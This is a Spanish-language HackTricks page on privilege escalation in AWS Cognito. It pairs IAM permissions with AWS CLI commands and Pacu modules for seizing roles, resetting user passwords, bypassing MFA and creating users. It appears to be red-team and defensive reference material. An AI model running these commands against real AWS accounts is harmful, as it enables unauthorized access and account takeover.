AWS - Cognito Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cognito

Para más información sobre Cognito consulta:

AWS - Cognito Enum

Recolección de credenciales desde Identity Pool

Como Cognito puede otorgar IAM role credentials tanto a authenticated como a unauthenticated users, si localizas el Identity Pool ID de una aplicación (debería estar codificado en ella) puedes obtener nuevas credenciales y por lo tanto privesc (dentro de una cuenta AWS donde probablemente ni siquiera tenías credenciales previamente).

Para más información consulta esta página.

Potential Impact: privesc directo al service role asociado a los unauth users (y probablemente al asociado a los auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con este permiso puedes asignar cualquier cognito role a los authenticated/unauthenticated users de la cognito app.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Si la app de cognito no tiene habilitados los usuarios no autenticados quizá necesites también el permiso cognito-identity:UpdateIdentityPool para habilitarlos.

Impacto potencial: Escalada directa (privesc) a cualquier cognito role.

cognito-identity:update-identity-pool

Un atacante con este permiso podría configurar, por ejemplo, un Cognito User Pool bajo su control o cualquier otro proveedor de identidad donde pueda hacer login como una vía para acceder a este Cognito Identity Pool. Luego, simplemente hacer login en ese proveedor de usuarios le permitirá acceder al authenticated role configurado en el Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

También es posible abusar de este permiso para permitir basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impacto potencial: Comprometer el IAM role autenticado configurado en el identity pool.

cognito-idp:AdminAddUserToGroup

Este permiso permite agregar un Cognito user a un Cognito group, por lo tanto, un atacante podría abusar de este permiso para agregar un Cognito user bajo su control a otros grupos con privilegios superiores o diferentes IAM roles:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto potencial: Privesc a otros grupos de Cognito y roles de IAM adjuntos a User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un atacante con estos permisos podría crear/actualizar grupos con cada IAM role que pueda ser usado por un Cognito Identity Provider comprometido y hacer que un usuario comprometido forme parte del grupo, accediendo a todos esos roles:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto potencial: Privesc a otros roles IAM de Cognito.

cognito-idp:AdminConfirmSignUp

Este permiso permite verificar un registro. Por defecto, cualquiera puede registrarse en aplicaciones de Cognito; si se deja así, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto potencial: Indirect privesc to the identity pool IAM role para usuarios autenticados si puedes registrar un nuevo usuario. Indirect privesc a otras funcionalidades de la app al poder confirmar cualquier cuenta.

cognito-idp:AdminCreateUser

Este permiso permitiría a un atacante crear un nuevo usuario dentro del user pool. El nuevo usuario se crea como habilitado, pero tendrá que cambiar su contraseña.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto potencial: Privesc directo al identity pool IAM role para usuarios autenticados. Privesc indirecto a otras funcionalidades de la app que permiten crear cualquier usuario

cognito-idp:AdminEnableUser

Este permiso puede ayudar en un escenario muy extremo donde un atacante encontró las credenciales de un usuario deshabilitado y necesita habilitarlo de nuevo.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto potencial: Elevación de privilegios indirecta al identity pool IAM role para usuarios autenticados y a los permisos del usuario si el atacante tuviera credenciales de un usuario deshabilitado.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Este permiso permite iniciar sesión con el method ADMIN_USER_PASSWORD_AUTH. Para más información sigue el enlace.

cognito-idp:AdminSetUserPassword

Este permiso permitiría a un atacante cambiar la contraseña de cualquier usuario, permitiéndole suplantar a cualquier usuario (que no tenga MFA habilitado).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impacto potencial: Privesc directo a potencialmente cualquier usuario, por lo que acceso a todos los grupos de los que cada usuario es miembro y acceso al rol IAM autenticado del Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un atacante podría potencialmente abusar de este permiso para configurar un teléfono móvil bajo su control como SMS MFA de un usuario.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Similar a la anterior, este permiso puede usarse para establecer las preferencias de MFA de un usuario y así eludir la protección MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Al igual que el anterior, este permiso puede usarse para configurar las preferencias de MFA de un user pool y así eludir la protección MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: También es posible actualizar el user pool para cambiar la política de MFA. Check cli here.

Impacto potencial: Privesc indirecto hacia potencialmente cualquier usuario cuyas credenciales conozca el atacante; esto podría permitir eludir la protección MFA.

cognito-idp:AdminUpdateUserAttributes

Un atacante con este permiso podría cambiar el correo electrónico, el número de teléfono o cualquier otro atributo de un usuario bajo su control para intentar obtener más privilegios en una aplicación subyacente.
Esto permite cambiar un correo electrónico o número de teléfono y marcarlo como verificado.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impacto potencial: Posible privesc indirecto en la aplicación subyacente que usa Cognito User Pool y que otorga privilegios basados en atributos de usuario.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un atacante con este permiso podría crear un nuevo User Pool Client menos restrictivo que los clientes del pool ya existentes. Por ejemplo, el nuevo client podría permitir cualquier método de autenticación, no tener ningún secret, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un periodo más largo…

Lo mismo puede ocurrir si, en lugar de crear un nuevo client, se modifica uno existente.

En la command line (o la update one) puedes ver todas las opciones, ¡échale un vistazo!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impacto potencial: Privesc indirecto potencial al usuario autorizado del Identity Pool utilizado por el User Pool al crear un nuevo cliente que relaja las medidas de seguridad y permite a un atacante iniciar sesión con un usuario que haya podido crear.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un atacante podría abusar de este permiso para crear usuarios subiendo un csv con nuevos usuarios.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(En el caso de que crees un nuevo import job podrías también necesitar el iam passrole permission, no lo he probado aún).

Impacto potencial: Privesc directo al identity pool IAM role para usuarios autenticados. Privesc indirecto a otras funcionalidades de la app que permiten crear cualquier usuario.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un atacante podría crear un nuevo identity provider para luego poder login through this provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto potencial: Privesc directo al rol IAM del identity pool para usuarios autenticados. Privesc indirecto a otras funcionalidades de la app que puedan crear cualquier usuario.

cognito-sync:* Análisis

Este es un permiso muy común por defecto en los roles de Cognito Identity Pools. Incluso si un wildcard en los permisos siempre se ve mal (especialmente viniendo de AWS), las permisiones dadas no son muy útiles desde la perspectiva de un atacante.

Este permiso permite leer información de uso de Identity Pools y Identity IDs dentro de los Identity Pools (lo cual no es información sensible).
Identity IDs podrían tener Datasets asignados a ellos, que son información de las sesiones (AWS lo define como un saved game). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la enumeration page cómo acceder a esta información.

Un atacante también podría usar estos permisos para inscribirse en un Cognito stream que publica cambios en estos datasets o en un lambda que triggers on cognito events. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible.

Herramientas automáticas

  • Pacu, el framework de explotación de AWS, ahora incluye los módulos “cognito__enum” y “cognito__attack” que automatizan la enumeración de todos los assets de Cognito en una cuenta y señalan configuraciones débiles, atributos de usuario usados para control de acceso, etc., y también automatizan la creación de usuarios (incluyendo soporte MFA) y privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

Para una descripción de las funciones de los módulos vea la parte 2 del blog post. Para instrucciones de instalación vea la página principal de Pacu.

Uso

Ejemplo de uso de cognito__attack para intentar la creación de usuarios y todos los vectores de privesc contra un given identity pool y user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Ejemplo de uso de cognito__enum para recopilar todos los pools de usuarios, clientes de pools de usuarios, pools de identidad, usuarios, etc. visibles en la cuenta AWS actual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner es una herramienta CLI en python que implementa diferentes ataques sobre Cognito incluyendo una privesc escalation.

Instalación

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para más información, consulta https://github.com/padok-team/cognito-scanner

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks